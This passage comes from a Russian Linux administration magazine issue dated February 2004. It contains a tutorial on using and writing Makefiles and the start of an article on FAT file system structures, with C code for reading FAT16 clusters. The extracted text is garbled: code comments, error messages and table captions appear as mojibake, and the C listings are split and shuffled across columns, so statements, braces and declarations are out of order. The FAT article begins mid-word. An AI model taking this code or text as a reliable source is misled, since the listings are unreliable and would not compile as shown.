Другой вид распространения исходных кодов – в пакетах .src.rpm, в этом случае просто установите такой пакет как обычно, и исходники появятся в каталоге /usr/src/RPM/ SOURCES. Первым этапом в сборке программы является настройка командой ./configure (она определяет параметры системы и создает Makefile, наиболее подходящий для данной конфигурации), но нас интересует следующий шаг – сама компиляция при помощи команды make. В большинстве случаев для сборки программы достаточно ввести только саму команду make, без каких-либо дополнительных параметров. По мере выполнения на экран будут выводиться команды, исполняемые при компиляции. Процесс этот может быть довольно долгим, в зависимости от скорости вашего компьютера. Когда управление будет возвращено оболочке, т.е. появится приглашение ввода команд, внимательно просмотрите последние несколько строк, выведенных командой make. Если среди них есть «Error», или «Ошибка», это значит, что программа не скомпилировалась. Это может быть вызвано множеством причин: отсутствием каких-либо пакетов, ошибкой в программе, отсутствием прав записи в какой-либо файл или каталог и т. д. Еще раз внимательно перечитайте файлы README и INSTALL в каталоге с исходниками программы.
38
Обратите внимание, что в процессе компиляции может появляться множество предупреждений («warnings»). Они обычно вызываются небольшими несоответствиями стандарту Cи; скорее всего, они не приведут к ошибке компиляции. Если вы сомневаетесь, нормально ли скомпилировалась программа, сразу же после завершения работы make выполните команду: echo $?
На экран будет выведен код возврата программы. Он показывает, успешно ли завершилось выполнение программы. Если он равен нулю, то всё нормально, если отличен от нуля – произошла ошибка. После команды make можно указывать цели сборки. Цель – это то, что нужно сделать программе make. В большинстве случаев, если цель не указана, то происходит сборка программы. Если выполнить команду: make install
то произойдет установка программы. Обратите внимание, что при выполнении этой команды файлы скорее всего будут скопированы в каталоги, в которые доступ на запись для простых пользователей закрыт. Поэтому вам нужно либо получить права суперпользователя (вы ведь не работаете постоянно под root, правда?), либо использовать программу su: su -c make install
Иногда, чтобы освободить место на диске, или при перекомпиляции требуется удалить результаты предыдущей сборки – объектные файлы (*.o), двоичные файлы программы и другие временные файлы. Для этого нужно выполнить команду: make clean
Эта команда удалит вышеуказанные файлы. Операция затронет только файлы в каталоге исходников, т.е. уже установленные в системные каталоги при помощи команды make install файлы затронуты не будут.
администрирование Если вы хотите привести исходники программы к первоначальному состоянию, т.е. удалить не только двоичные файлы, но и config.log, Makefile и другие, созданные скриптом ./configure, введите: make distclean
Теперь для повторной сборки программы вам нужно будет снова запустить ./configure. И наконец, чтобы отменить действие команды make install, т.е. удалить установленную программу, нужно, как нетрудно догадаться, выполнить: make uninstall
Как и для make install, этой команде могут потребоваться права root. Иногда при запуске make вы можете получить такие сообщения об ошибке: make: *** Íå çàäàíû öåëè è íå íàéäåí make-ôàéë. Îñòàíîâ. make: *** Íåò ïðàâèëà äëÿ ñáîðêè öåëè 'uninstall'. Îñòàíîâ.
Это связано с тем, что при запуске утилита make ищет в текущем каталоге файл с именем Makefile или makefile (различный регистр символов). Если его нет, выдается первое сообщение. Что делать в таком случае? В первую очередь проверьте, не забыли ли вы запустить скрипт ./configure, ведь именно он создает Makefile. Если при выполнении ./configure произошла ошибка, Makefile не будет создан! Во-вторых, проверьте, нет ли в каталоге с исходниками какого-то другого подобного файла: ls Makefile*
Например, вы можете получить список файлов типа Makefile.linux, Makefile.hpux, Makefile.macosx. Это значит, что для компиляции одной и той же программы на разных платформах автор предусмотрел несколько вариантов Makefile. Другой вариант – если вы загрузили исходный код из CVS, файл будет назван Makefile.cvs. Учтите, что Makefile.in и Makefile.am не относятся к Makefile, это всего лишь заготовки для создания Makefile. Итак, если вы нашли нужный Makefile, запустите make с ключом -f, например, так: make -f Makefile.cvs
Второе из приведенных выше сообщений об ошибке может появляться, если автор Makefile не предусмотрел такую цель (в данном случае – uninstall, т.е. автоматическое удаление программы невозможно), или, опять же, если отсутствует Makefile. Вы начали компилировать программу, но вдруг... Ошибка 1. Что делать? Для начала еще раз перечитайте документацию к программе. Если ситуация не прояснилась, попробуйте запустить make с ключом -i, означающим «игнорировать все ошибки»: make -i
№2(15), февраль 2004
Вероятность того, что программа соберется правильно, все-таки есть, особенно, если ошибка была при обработке несущественных файлов, таких как файлы документации. Если же ничего не вышло – попробуйте задать вопрос на каком-нибудь форуме, например, на linux.org.ru. Теперь давайте заглянем внутрь Makefile. Попробуем его немного поизменять. Откройте в своем любимом текстовом редакторе, например, Makefile из исходного кода Linux (если у вас установлены исходники Linux, то это / usr/src/linux/Makefile). Посмотрите на самые первые строчки: VERSION = 2 PATCHLEVEL = 6 SUBLEVEL = 1 EXTRAVERSION =
Это переменные, используемые в дальнейшем при сборке ядра. Поменяв их значения, например, так: VERSION = 3 PATCHLEVEL = 0 SUBLEVEL = 0 EXTRAVERSION = topsecret
и пересобрав ядро, вы можете потом хвастаться перед друзьями командой uname -r, которая будет показывать доставшуюся вам сверхсекретную версию ядра (3.0.0.topsecret). Если же говорить о практическом применении, то иногда вам может потребоваться немного изменить Makefile, скажем, для того, чтобы исключить компиляцию какойлибо программы из большого пакета утилит. Пример: вы загрузили свежую версию утилит KDE (пакет kdeutils). Но какая-то программа из этого пакета никак не компилируется, и make -i не помогает. Допустим, программой, на которой происходит ошибка, является kedit. Откройте kdeutils/Makefile. Теперь просто найдите все встречающиеся слова «kedit» (в редакторе vim для этого введите /kedit) и удалите их: TOPSUBDIRS =
<...> kdf kedit kfloppy <...>
Это список подкаталогов с исходным кодом различных программ. Утилита make по очереди заходит в каждый из них и выполняет Makefile, находящийся в этом подкаталоге. Удалите слово kedit, сохраните файл и снова запустите make. Вы увидите, что сборка kedit будет пропущена.
make для разработчиков Пока ваша программа состоит из одного файла, проще всего компилировать ее командой: cc main.c
Теоретически можно и всю программу поместить в один файл. Однако принято разделять код на несколько файлов, в больших проектах их десятки и сотни. Для примера создадим простую программу на C, вычисляющую квадрат числа. Она будет состоять из двух файлов: главного (main.c) и kvadrat.c, содержащего функ-
39
администрирование цию возведения в квадрат. Ниже приведен исходный код этой программы: main.c: #include <stdio.h> int main() { int a, rslt; printf("Program calculates the square of a number.\n"); printf("Please enter an integer: "); scanf("%d", &a); rslt = kvadrat(a); printf("%d x %d = %d\n", a, a, rslt); }
return 0;
kvadrat.c: int kvadrat(number) { return number * number; }
Заранее скажу, что и эту программу можно скомпилировать довольно быстро без помощи Makefile командой cc *.c. Но мы все будем делать «по-правильному». Сборка программы у нас будет разбита на два этапа: препроцессинг и компиляция, т.е. преобразование исходного кода в объектный код (файлы *.o), и сборка и линковка, т.е. объединение .o-файлов в один исполняемый файл и подключение динамических библиотек. Первый этап выполняется командой «gcc -c -o», второй – «gcc -o». gcc при запуске пытается осуществить все этапы сборки программы; параметр -c означает, что нужно только получить объектные файлы. Итак, как вы уже знаете, утилита make ищет файл с именем Makefile. Создайте его. Makefile состоит из набора т.н. правил. Они, в свою очередь, состоят из трех частей: цель (то, что должно быть получено в результате выполнения правила); зависимости (что требуется для получения цели); команды, которые должны быть выполнены для сборки цели. Общий синтаксис правил таков: öåëü: çàâèñèìîñòü_1 çàâèñèìîñòü_2 çàâèñèìîñòü_N êîìàíäà_1 êîìàíäà_N
Давайте рассуждать логически. Нам требуется собрать программу, пусть имя ее исполняемого файла будет «kv». У нас два файла с исходным кодом, каждый из них должен быть преобразован в .o-файл (принято называть объектные файлы так же, как и исходные файлы, но с расширением .o; в нашем случае это будут main.o и kvadrat.o). Именно они необходимы для сборки исполняемого файла, значит, они являются зависимостями. Ну а про команды уже было сказано выше. Итак, Makefile должен выглядеть так: kv: main.o kvadrat.o cc -o kv main.o kvadrat.o strip kv main.o: main.c cc -c -o main.o main.c
40
kvadrat.o: kvadrat.c cc -c -o kvadrat.o kvadrat.c
Здесь нужно обратить внимание на несколько особенностей: ! параметр -o у cc указывает имя файла, получаемого в результате операции; ! в качестве зависимостей у целей main.o и kvadrat.o указаны соответствующие им файлы исходного кода, но это вовсе не обязательно делать. Если, скажем, файл main.c будет отсутствовать, cc и так выведет сообщение об этом. Но главная причина, по которой вам не нужно лениться и всегда указывать эту зависимость, описана чуть ниже; ! при сборке конечной цели вызывается не только cc, но и программа strip. Она позволяет зачастую значительно сократить размер выполняемого файла, удалив из него отладочную информацию. Для понятности я опишу логику работы утилиты make с этим Makefile: сначала проверяется наличие файла main.o – первой зависимости у цели kv. Если его нет, то выполняется его компиляция, если есть, то проверяется, не был ли изменен файл main.c с момента последней его компиляции (вот зачем нужно указывать main.c как зависимость для main.o!). Если он был изменен, он компилируется заново. Если же он не был изменен, то просто пропускается; таким образом при повторной сборке можно значительно сократить затрачиваемое время. Далее та же проверка происходит и для kvadrat.o, и как только будут получены main.o и kvadrat.o, включающие все изменения в исходном коде, начнется сборка исполняемого файла. Итак, сохраните Makefile и запустите make. Должны появиться два .o-файла и сам исполняемый файл kv. Для проверки запустите его: ./kv
Теперь давайте добавим в Makefile еще одну цель: clean. При вводе make clean должны удаляться три полученных в результате компиляции файла. Допишите в конец Makefile такие строки: clean:
rm -f *.o kv
Сохранив Makefile, введите make clean. Все три двоичных файла будут удалены. Теперь создадим последнюю цель – install. Она будет служить для копирования двоичного файла программы в системный каталог. Тут есть несколько вариантов. Во-первых, можно сделать так, чтобы при выполнении make install проверялось, была ли уже скомпилирована программа, и если нет, то перед установкой выполнялась бы ее компиляция (логично, не правда ли?). Это можно сделать, указав kv в качестве зависимости. Во-вторых, для копирования программы в системный каталог можно использовать или традиционный метод – утилиту cp, а можно – специально предназначенную для этого программу install. Она может при
администрирование установке заодно изменять права доступа к программе, удалять из нее отладочную информацию (но мы это уже предусмотрели при помощи команды strip); нам же понадобится такая возможность, как автоматическое создание каталогов по указанному пути. Возможно, это звучит запутанно, так что я поясню. Мы установим программу в каталог /opt/kv/ (каталог /opt предназначен для хранения пользовательских программ, необязательных для функционирования системы). Разумеется, этого каталога еще не существует, поэтому, если бы мы использовали для установки команду «cp kv /opt/kv/», это привело бы к ошибке. Если же использовать команду install с ключом -D, она автоматически создаст все отстутствующие каталоги. Кроме того, нам нужно будет сделать так, чтобы никто, кроме root, не мог выполнять программу, а смог только считывать ее файл (права доступа r-xr--r--, или 544 в восьмеричном виде). Добавьте в конец Makefile следующие строки: install: kv install -D -m 544 kv /opt/kv/kv
Запустите make install, затем введите команду: ls -gh /opt/kv/kv
чтобы убедиться в правильности установки. После параметра -m у команды install указываются права доступа, предпоследним параметром – файл, который нужно скопировать, последним параметром является каталог назначения с именем файла (т.е. исполняемый файл можно установить под другим именем, введя, например, /opt/kv/program_name в качестве последнего параметра). Теперь поговорим о переменных. Представьте, что вам нужен Makefile для более сложного проекта, где в каталог назначения копируется одновременно несколько файлов. Вы укажете путь установки для каждого из них, например, так: install <ïàðàìåòðû> /opt/kv/file1 install <ïàðàìåòðû> /opt/kv/file2 è ò.ä.
Но вдруг вам потребовалось изменить путь установки. Вам придется поменять параметр у каждой команды. И хотя это можно сделать относительно быстро при помощи команды «заменить» в текстовом редакторе, проще всего определить переменную один раз в начале Makefile и потом использовать ее (при необходимости изменяя только ее значение). Добавьте в начало Makefile определение переменной: INSTALL_PATH = /opt/kv/
И затем измените команду install таким образом: install -D -m 544 kv $(INSTALL_PATH)/kv
На что здесь нужно обратить внимание:
! в объявлении переменной указывается просто ее имя, а когда вы ее используете – знак $ и имя;
№2(15), февраль 2004
! если имя переменной состоит более чем из одного сим!
вола, при ее использовании нужно заключать такое имя в скобки; нужно или нет ставить косую черту в значении переменной (/opt/kv/ или /opt/kv)? Ответ: лучше перестраховаться и поставить. Как вы можете заметить, в команде установки косая черта идет подряд дважды: /opt/kv//kv (одна косая черта из значения переменной, другая – из записи $(INSTALL_PATH)/kv). Это не приведет к ошибке – вы можете поставить символ «/» хоть десять раз подряд. А вот если забудете поставить ее хотя бы один раз, то результаты, ясное дело, будут отличаться от ожидаемых.
Теперь рассмотрим такой момент: допустим, нужно выполнить некоторую команду и присвоить переменной выводимое этой командой значение. Например, если для разных версий ядра Linux существуют разные версии вашей программы. В таком случае при выполнении установки программы на системе с ядром 2.6.1 можно установить ее в каталог /opt/kv/2.6.1/, а если система запущена с ядром 2.4.24 – в каталог /opt/kv/2.4.24/. Версию ядра можно определить при помощи команды uname -r (попробуйте выполнить ее, чтобы посмотреть вашу версию ядра). Вопрос в том, как же передать полученное значение переменной? Очень просто: INSTALL_PATH = /opt/kv/`uname -r`/
Теперь установка будет производиться в каталог /opt/ kv/версия_вашего_ядра/. Обратите внимание на косые кавычки: они вводятся при помощи Shift+~ (крайняя левая клавиша в ряду кнопок с цифрами). И последнее: а ведь make может использоваться не только для компиляции программ! Например, можно использовать Makefile для сборки документации, да и вообще для автоматизации любой работы. Для примера можно создать программу, которая по команде make автоматически определяет, какие из трех файлов с именами «1», «2», «3» изменились, и при необходимости выполняет их резервное копирование в каталог backup, а по окончании работы выводит сообщение «Backup completed»: backup: backup/1 backup/2 backup/3 : Backup completed backup/1: 1 cp 1 ~/backup backup/2: 2 cp 2 ~/backup backup/3: 3 cp 3 ~/backup
Домашнее задание для вас: разберитесь, как работает этот пример, а к первому добавьте цель uninstall, так, чтобы при выполнении команды make uninstall установленная программа удалялась. Если вас заинтересовала эта тема, прочитайте руководства «man install», «man make», а также GNU Make Manual по адресу http://www.gnu.org/software/make/manual/ html_mono/make.html.gz (150 Кб). И главное – больше экспериментируйте!
41
администрирование
АРХИТЕКТУРА ФАЙЛОВОЙ СИСТЕМЫ FAT
ВЛАДИМИР МЕШКОВ 42
администрирование Общая характеристика файловой системы FAT. Структура раздела с файловой системой FAT Файловая система FAT (File Allocation Table) была разработана Биллом Гейтсом и Марком Макдональдом в 1977 году и первоначально использовалась в операционной системе 86-DOS. Чтобы добиться переносимости программ из операционной системы CP/M в 86-DOS, в ней были сохранены ранее принятые ограничения на имена файлов. В дальнейшем 86-DOS была приобретена Microsoft и стала основой для ОС MS-DOS 1.0, выпущенной в августе 1981 года. FAT была предназначена для работы с гибкими дисками размером менее 1 Мб и вначале не предусматривала поддержки жёстких дисков. Структура раздела FAT изображена на рисунке.
рес кластера, содержащего следующую часть файла. Номер начального кластера, занятого файлом, хранится в элементе каталога, содержащего запись об этом файле. Последний элемент списка кластеров содержит признак конца файла (EOF – End Of File). Первые два элемента FAT являются резервными. Файловая система FAT всегда заполняет свободное место на диске последовательно от начала к концу. При создании нового файла или увеличении уже существующего она ищет самый первый свободный кластер в таблице размещения файлов. Если в процессе работы одни файлы были удалены, а другие изменились в размере, то появляющиеся в результате пустые кластеры будут рассеяны по диску. Если кластеры, содержащие данные файла, расположены не подряд, то файл оказывается фрагментированным. Существуют следующие типы FAT – FAT12, FAT16, FAT32. Названия типов FAT ведут свое происхождение от размера элемента: элемент FAT12 имеет размер 12 бит (1,5 байт), FAT16 – 16 бит (2 байта), FAT32 – 32 бита (4 байта). В FAT32 четыре старших двоичных разряда зарезервированы и игнорируются в процессе работы операционной системы.
Корневой каталог Ðèñóíîê 1. Ñòðóêòóðà ðàçäåëà ñ ôàéëîâîé ñèñòåìîé FAT
В файловой системе FAT дисковое пространство логического раздела делится на две области – системную и область данных (см. рис. 1). Системная область создается и инициализируется при форматировании, а впоследствии обновляется при манипулировании файловой структурой. Системная область файловых систем FAT состоит из следующих компонентов: ! загрузочная запись (boot record, BR); ! резервная область; ! таблицы размещения файлов; ! область корневого каталога (не существует в FAT32). Область данных логического диска содержит файлы и каталоги, подчиненные корневому, и разделена на участки одинакового размера – кластеры. Кластер может состоять из одного или нескольких последовательно расположенных на диске секторов. Число секторов в кластере должно быть кратно 2 N и может принимать значения от 1 до 64. Размер кластера зависит от типа используемой файловой системы и объема логического диска.
Назначение, структура и типы таблицы размещения файлов Своё название FAT получила от одноимённой таблицы размещения файлов – File Allocation Table, FAT. В таблице размещения файлов хранится информация о кластерах логического диска. Каждому кластеру соответствует элемент таблицы FAT, содержащий информацию о том, свободен данный кластер или занят данными файла. Если кластер занят под файл, то в соответствующем элементе таблицы размещения файлов указывается ад-
№2(15), февраль 2004
За таблицами размещения файлов следует корневой каталог. Каждому файлу и подкаталогу в корневом каталоге соответствует 32-байтный элемент каталога (directory entry), содержащий имя файла, его атрибуты (архивный, скрытый, системный и «только для чтения»), дату и время создания (или внесения в него последних изменений), а также прочую информацию. Для файловых систем FAT12 и FAT16 положение корневого каталога на разделе и его размер жестко зафиксированы. В FAT32 корневой каталог может быть расположен в любом месте области данных раздела и иметь произвольный размер.
Форматы имен файлов Одной из характеристик ранних версий FAT (FAT12 и FAT16) является использование коротких имен файлов. Короткое имя состоит из двух полей – 8-байтного поля, содержащего собственно имя файла, и 3-байтного поля, содержащего расширение (формат «8.3»). Если введенное пользователем имя файла короче 8 символов, то оно дополняется пробелами (код 0x20); если введенное расширение короче трёх байтов, то оно также дополняется пробелами. Структура элемента каталога для короткого имени файла представлена в таблице 1. Первый байт короткого имени выполняет функции признака занятости каталога: ! если первый байт равен 0xE5, то элемент каталога свободен и его можно использовать при создании нового файла; ! если первый байт равен 0x00, то элемент каталога свободен и является началом чистой области каталога (после него нет ни одного задействованного элемента).
43
администрирование Òàáëèöà 1. Ñòðóêòóðà ýëåìåíòà êàòàëîãà äëÿ êîðîòêîãî èìåíè ôàéëà
Загрузочный сектор В первом секторе логического диска с системой FAT располагается загрузочный сектор и блок параметров BIOS. Начальный участок данного блока для всех типов FAT идентичен (таблица 3). Различия в структуре загрузочных секторов для разных типов FAT начинаются со смещения 0x24. Для FAT12 и FAT16 структура имеет вид, показанный в таблице 4, для FAT32 – в таблице 5. Òàáëèöà 3. Íà÷àëüíûé ó÷àñòîê çàãðóçî÷íîãî ñåêòîðà
На использование ASCII-символов в коротком имени накладывается ряд ограничений: ! нельзя использовать символы с кодами меньше 0x20 (за исключением кода 0x05 в первом байте короткого имени); ! нельзя использовать символы с кодами 0x22, 0x2A, 0x2B, 0x2C, 0x2E, 0x2F, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x5B, 0x5C, 0x5D, 0x7C; ! нельзя использовать символ пробела (0x20) в первом байте имени. Òàáëèöà 4. Ñòðóêòóðà çàãðóçî÷íîãî ñåêòîðà FAT12/FAT16
В файловых системах FAT32 и VFAT (виртуальная FAT, расширение FAT16) включена поддержка длинных имен файлов (long file name, LFN). Для хранения длинного имени используются элементы каталога, смежные с основным элементом. Имя файла записывается не ASCIIсимволами, а в Unicode. В одном элементе каталога можно сохранить фрагмент длиной до 13 символов Unicode. Неиспользованный участок последнего фрагмента заполняется кодами 0xFFFF. Структура элемента каталога для длинного имени файла представлена в таблице 2.
Òàáëèöà 5. Ñòðóêòóðà çàãðóçî÷íîãî ñåêòîðà FAT32
Òàáëèöà 2. Ñòðóêòóðà ýëåìåíòà êàòàëîãà äëÿ äëèííîãî èìåíè ôàéëà
Длинное имя записывается в каталог первым, причем фрагменты размещены в обратном порядке, начиная с последнего. Вслед за длинным (полным) именем размещается стандартный описатель файла, содержащий укороченный по специальному алгоритму вариант этого имени. Пример хранения длинного имени файла показан здесь: http://www.ntfs.com/fat-filenames.htm
44
Кроме перечисленных в таблицах 2-го и 3-го полей, нулевой сектор логического диска должен содержать в байте со смещением 0x1FE код 0x55, а в следующем байте (смещение 0x1FF) – код 0xAA. Указанные два байта являются признаком загрузочного диска.
администрирование Таким образом, загрузочный сектор выполняет две важные функции: описывает структуру данных на диске, а также позволяет осуществить загрузку операционной системы. На логическом диске с организацией FAT32 дополнительно присутствует структура FSInfo, размещаемая в первом секторе резервной области. Эта структура содержит информацию о количестве свободных кластеров на диске и о номере первого свободного кластера в таблице FAT. Формат структуры описан в таблице 6. Òàáëèöà 6. Ñòðóêòóðà ñåêòîðà FSInfo è ðåçåðâíîãî çàãðóçî÷íîãî ñåêòîðà FAT32
Для доступа к содержимому файла, находящемуся на разделе с файловой системой FAT, необходимо получить номер первого кластера файла. Этот номер, как мы уже установили, входит в состав элемента каталога, содержащего запись о файле. Номеру первого кластера соответствует элемент таблицы FAT, в котором хранится адрес кластера, содержащего следующую часть файла. Элемент FAT, соответствующий последнему кластеру в цепочке, содержит сигнатуру конца файла. Для FAT12 это значение составляет 0xFFF, для FAT16 – 0xFFFF, для FAT32 – 0xFFFFFFFF. Рассмотрим программную реализацию алгоритма чтения для каждого типа FAT, и начнём с FAT16. Все исходные тексты, рассматриваемые в статье, доступны на сайте журнала.
Программная реализация алгоритма чтения файла с логического раздела с файловой системой FAT16 Разработаем модуль, выполняющий чтение N первых кластеров файла, созданного на разделе с файловой системой FAT16. Параметр N (число кластеров для считывания) является переменной величиной и задается пользователем. Имя файла соответствует формату «8.3», т.е. является коротким. Модуль функционирует под управлением ОС Linux. Определим необходимые заголовочные файлы: #include #include #include #include #include #include
<stdio.h> <unistd.h> <fcntl.h> <errno.h> <linux/msdos_fs.h> "split.h"
№2(15), февраль 2004
Заголовочный файл split.h имеет следующее содержание: #include <linux/types.h> // ìàêñèìàëüíàÿ äëèíà êîðîòêîãî èìåíè ôàéëà #define SHORT_NAME 13 struct split_name __u8 name[9]; __u8 ext[4]; int name_len, ext_len; };
{ // // // //
èìÿ ôàéëà ðàñøèðåíèå ôàéëà äëèíà èìåíè ôàéëà äëèíà ðàñøèðåíèÿ ôàéëà
Cтруктура split_name предназначена для хранения составных частей короткого имени файла (имени и расширения) и их длин. В заголовочном файле <linux/msdos_fs.h> определены структурные типы, описывающие основные компоненты файловой системы FAT – загрузочный сектор, сектор FSInfo, структуры элементов каталога для короткого и длинного имён файлов. Рассмотрим кратко поля, которые входят в каждую из этих структур. 1. Структура загрузочного сектора struct fat_boot_sector: ! __s8 system_id[8] – системный идентификатор; ! __u8 sector_size[2] – размер сектора в байтах; ! __u8 cluster_size – размер кластера в секторах; ! __u16 reserved – число резервных секторов в резервной области раздела; ! __u8 fats – количество копий FAT; ! __u8 dir_entries[2] – количество 32-байтных дескрипторов файлов в корневом каталоге; ! __u8 sectors[2] – число секторов на разделе; если это поле равно 0, используется поле total_sect; ! __u8 media – тип носителя, на котором создана файловая система; ! __u16 fat_length – размер FAT в секторах; ! __u32 total_sect – размер раздела FAT в секторах (если поле sectors == 0). Следующие поля данной структуры используются только FAT32: ! __u32 fat32_length – размер FAT32 в секторах; ! __u32 root_cluster – номер первого кластера корневого каталога; ! __u16 info_sector – номер сектора, содержащего структуру FSInfo. 2. Структура сектора FSInfo struct fat_boot_fsinfo:
! __u32 signature1 – сигнатура 0x41615252; ! __u32 signature2 – сигнатура 0x61417272; ! __u32 free_clusters – количество свободных кластеров. Если поле содержит -1, поиск свободных кластеров нужно начинать с кластера номер 2. 3. Структура элемента каталога короткого имени struct msdos_dir_entry: ! __s8 name[8],ext[3] – имя и расширение файла; ! __u8 attr – атрибуты файла; ! __u8 ctime_ms – это поле уточняет время создания файла до мс (используется только FAT32);
45
администрирование ! __u16 ctime – время создания файла (используется ! ! ! ! !
только FAT32); __u16 cdate – дата создания файла (используется только FAT32); __u16 adate – дата последнего доступа к файлу (используется только FAT32); __u16 starthi – старшие 16 бит номера первого кластера файла (используется только FAT32); __u16 time,date,start – время и дата создания файла, номер первого кластер файла; __u32 size – размер файла (в байтах).
4. Структура элемента каталога длинного имени: ! __u8 id – номер элемента; ! __u8 name0_4[10] – символы 1 – 5 имени; ! __u8 attr – атрибуты файла; ! __u8 alias_checksum – контрольная сумма короткого имени; ! __u8 name5_10[12] – символы 6 – 11 имени; ! __u8 name11_12[4] – символы 12 – 13 имени. Продолжим рассмотрение программной реализации алгоритма и определим имя раздела, на котором создана файловая система FAT16: #ifndef FAT16_PART_NAME #define FAT16_PART_NAME "/dev/hda1" #endif
if(hard < 0) { perror(FAT16_PART_NAME); exit(-1); }
Считываем первые 10 кластеров файла. Считывание выполняет функция fat16_read_file(). Параметры функции – полное имя файла и число кластеров для чтения. Функция возвращает число прочитанных кластеров или -1, если при чтении произошла ошибка: num = fat16_read_file(full_path, 10); if(num < 0) perror("fat16_read_file"); else printf("Read %d clusters\n", num);
Закрываем файл устройства и выходим:
}
close(hard); return 0;
Функция чтения кластеров файла имеет следующий вид: int fat16_read_file(__u8 *full_path, int num) { // ñòðóêòóðà äëÿ õðàíåíèÿ ñîñòàâíûõ ÷àñòåé ôàéëà struct split_name sn; // áóôåð äëÿ âðåìåííîãî õðàíåíèÿ ñîñòàâíûõ ýëåìåíòîâ // ïîëíîãî ïóòè ôàéëà __u8 tmp_name_buff[SHORT_NAME]; static int i = 1; int n; __u8 *tmp_buff; __u16 start_cluster, next_cluster;
Глобальные структуры: struct fat_boot_sector fbs; // ñòðóêòóðà çàãðóçî÷íîãî ñåêòîðà struct msdos_dir_entry dentry; // ñòðóêòóðà ýëåìåíòà êàòàëîãà
Глобальные переменные: __u16 *fat16; __u16 sector_size; __u16 dir_entries; __u16 sectors; __u32 fat16_size; __u32 root_size; __u32 data_start; __u16 byte_per_cluster; __u16 next_cluster; __u8 *dir_entry = NULL; int hard; int fat;
// // // // // // // // // // //
ñþäà êîïèðóåì òàáëèöó FAT16 ðàçìåð ñåêòîðà (èç FAT16) ÷èñëî 32-áàéòíûõ äåñêðèïòîðîâ â root-êàòàëîãå (0 äëÿ FAT32) îáùåå ÷èñëî ñåêòîðîâ â ðàçäåëå ðàçìåð FAT16 ðàçìåð êîðíåâîãî êàòàëîãà íà÷àëî îáëàñòè äàííûõ ðàçìåð êëàñòåðà â áàéòàõ î÷åðåäíîé êëàñòåð â öåïî÷êå óêàçàòåëü íà çàïèñè êàòàëîãà
Параметры функции мы перечислили при рассмотрении функции main. Подготовительные операции – обнуляем буфер tmp_name_buff и структуру struct split_name sn: memset(tmp_name_buff, 0, SHORT_NAME); memset((void *)&sn, 0, sizeof(struct split_name));
Первым символом в абсолютном путевом имени файла должен быть прямой слэш (/). Проверяем это: if(full_path[0] != '/') return -1;
Считываем с раздела загрузочный сектор:
// äåñêðèïòîð ôàéëà óñòðîéñòâà if(read_fbs() < 0) return -1;
Начнём рассмотрение с главной функции: int main() { int num;
Задаем полное имя файла, содержимое которого мы хотим прочитать. Напомню, что мы работаем только с короткими именами файлов. Порядок работы с длинными именами в данной статье не рассматривается.
Считанный загрузочный сектор находится сейчас в глобальной структуре struct fat_boot_sector fbs. Скопируем из этой структуры размер сектора, число записей в корневом каталоге и общее число секторов на разделе: memcpy((void *)&sector_size, (void *)fbs.sector_size, 2); memcpy((void *)&dir_entries, (void *)fbs.dir_entries, 2); memcpy((void *)&sectors, (void *)fbs.sectors, 2);
Определим размер кластера в байтах: __u8 *full_path = "/Folder1/Folder2/text.txt"; byte_per_cluster = fbs.cluster_size * 512;
Открываем файл устройства: hard = open(FAT16_PART_NAME, O_RDONLY);
46
Отобразим информацию, находящуюся в загрузочном секторе:
администрирование printf("System id - %s\n", fbs.system_id); printf("Sector size - %d\n", sector_size); printf("Cluster size - %d\n", fbs.cluster_size); printf("Reserved - %d\n", fbs.reserved); printf("FATs number - %d\n",fbs.fats); printf("Dir entries - %d\n", dir_entries); printf("Sectors - %d\n", sectors); printf("Media - 0x%X\n", fbs.media); printf("FAT16 length - %u\n", fbs.fat_length); printf("Total sect - %u\n", fbs.total_sect); printf("Byte per cluster - %d\n", byte_per_cluster);
талога (начиная с корневого) запись, соответствующую элементу полного имени, и считываем эту запись. Процедуру поиска выполняет функция get_dentry():
Вычисляем размер FAT16 в байтах и считываем её:
Проверяем атрибуты файла. Если это каталог, считываем его содержимое и продолжаем цикл:
fat16_size = fbs.fat_length * 512; if(read_fat16() < 0) return -1;
Считываем корневой каталог:
if(get_dentry(&sn) < 0) { printf("No such file!\n"); return -1; }
if(dentry.attr & 0x10) { if(read_directory(dentry.start) < 0) return -1; continue; }
if(read_root_dentry() < 0) return -1;
Сейчас указатель dir_entry позиционирован на область памяти, содержащую записи корневого каталога. Размер этой области памяти равен размеру корневого каталога (root_size). Сохраним (для контроля) содержимое корневого каталога в отдельном файле:
Если это файл – считываем первые num кластеров. Для контроля считанную информацию сохраним в отдельном файле: if(dentry.attr & 0x20) {
#ifdef DEBUG fat = open("dir16", O_CREAT|O_WRONLY, 0600); write(fat, dir_entry, root_size); close(fat); #endif
start_cluster = dentry.start; // ñþäà áóäåò ñ÷èòûâàòüñÿ ñîäåðæèìîå êëàñòåðà tmp_buff = (__u8 *)malloc(byte_per_cluster); // â ýòîì ôàéëå ñîõðàíèì ñ÷èòàííóþ èíôîðìàöèþ n = open("clust", O_CREAT|O_RDWR, 0600); if(n < 0) { perror("open"); return -1; }
Вычисляем начало области данных:
printf("file`s first cluster - 0x%X .. ", start_cluster);
data_start = 512 * fbs.reserved + fat16_size * fbs.fats + ↵ root_size;
Имея все записи корневого каталога, мы можем добраться до содержимого файла test.txt. С этой целью организуем цикл. В теле цикла проведем разбор полного имени файла, выделяя его элементы – подкаталоги (их у нас два, Folder1 и Folder2) и имя искомого файла (test.txt). while(1) { memset(tmp_name_buff, 0, SHORT_NAME); memset((void *)&sn, 0, sizeof(struct split_name)); for(n = 0 ; n < SHORT_NAME; n++, i++) { tmp_name_buff[n] = full_path[i]; if((tmp_name_buff[n] == '/') || (tmp_name_buff[n] == ↵ '\0')) { i++; break; } } tmp_name_buff[n] = '\0';
Заполняем структуру struct split_name sn соответствующей информацией. Заполнение выполняет функция split_name, при этом выполняется проверка имени файла на соответствие формату «8.3»: if(split_name(tmp_name_buff, &sn) < 0) { printf("not valid name\n"); return -1; }
Для каждого элемента полного имени файла определяем начальный кластер. Для этого ищем в элементах ка-
№2(15), февраль 2004
Для считывания кластеров файла организуем цикл: for(i = 0; i < num; i++) { memset(tmp_buff, 0, byte_per_cluster);
Считываем содержимое кластера в буфер tmp_buff и сохраняем его в отдельном файле: if(read_cluster(start_cluster, tmp_buff) < 0) ↵ return -1; if(write(n, tmp_buff, ↵ byte_per_cluster) < 0) { perror("write"); close(n); return -1; }
